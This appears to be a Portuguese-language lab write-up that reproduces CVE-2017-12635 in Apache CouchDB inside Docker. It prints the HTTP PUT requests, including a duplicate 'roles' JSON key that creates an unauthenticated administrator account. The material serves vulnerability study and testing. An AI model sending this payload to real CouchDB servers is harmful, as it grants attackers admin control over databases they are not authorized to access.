
Ambiente de reprodução baseado em Docker para escalada vertical de privilégios CVE-2017-12635 do Apache CouchDB via inconsistência do analisador JSON, permitindo criação de admin não autenticado.
Apache CouchDB é um banco de dados de código aberto focado na facilidade de uso e em ser "um banco de dados totalmente abraçado pela web". É um banco de dados NoSQL que usa JSON como formato de armazenamento, JavaScript como linguagem de consulta, e MapReduce e HTTP como API. É amplamente utilizado, como pela BBC em sua plataforma de conteúdo dinâmico, Credit Suisse em seu framework de mercado interno do setor de commodities, e Meebo em sua plataforma social (web e aplicativos).
Em 15 de novembro de 2017, CVE-2017-12635 e CVE-2017-12636 foram divulgados. CVE-2017-12635 é causado pela diferença na forma como Erlang e JavaScript analisam JSON, resultando em diferenças na execução das instruções. Essa vulnerabilidade permite que qualquer usuário crie um administrador, sendo uma vulnerabilidade de bypass de permissão vertical.
Versões afetadas: anteriores a 1.7.0 e anteriores a 2.1.1
Links de referência:
Compile e inicie o ambiente:
docker-compose build
docker-compose up -d
Após iniciar o ambiente, acesse http://your-ip:5984/_utils/ para ver uma página web, indicando que o Couchdb foi iniciado com sucesso. Mas não sabemos a senha e não podemos fazer login.
Primeiro, envie o seguinte pacote de dados:
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 90
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"password": "vulhub"
}
Observe que retorna o erro 403: {"error":"forbidden","reason":"Only _admin may set roles"}, apenas administradores podem definir a função de Role:
Envie um pacote contendo dois roles para contornar a restrição:
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"roles": [],
"password": "vulhub"
}
Administrador criado com sucesso, nome de usuário e senha ambos vulhub:

Acesse novamente http://your-ip:5984/_utils/, insira o nome de usuário e senha vulhub para fazer login com sucesso:
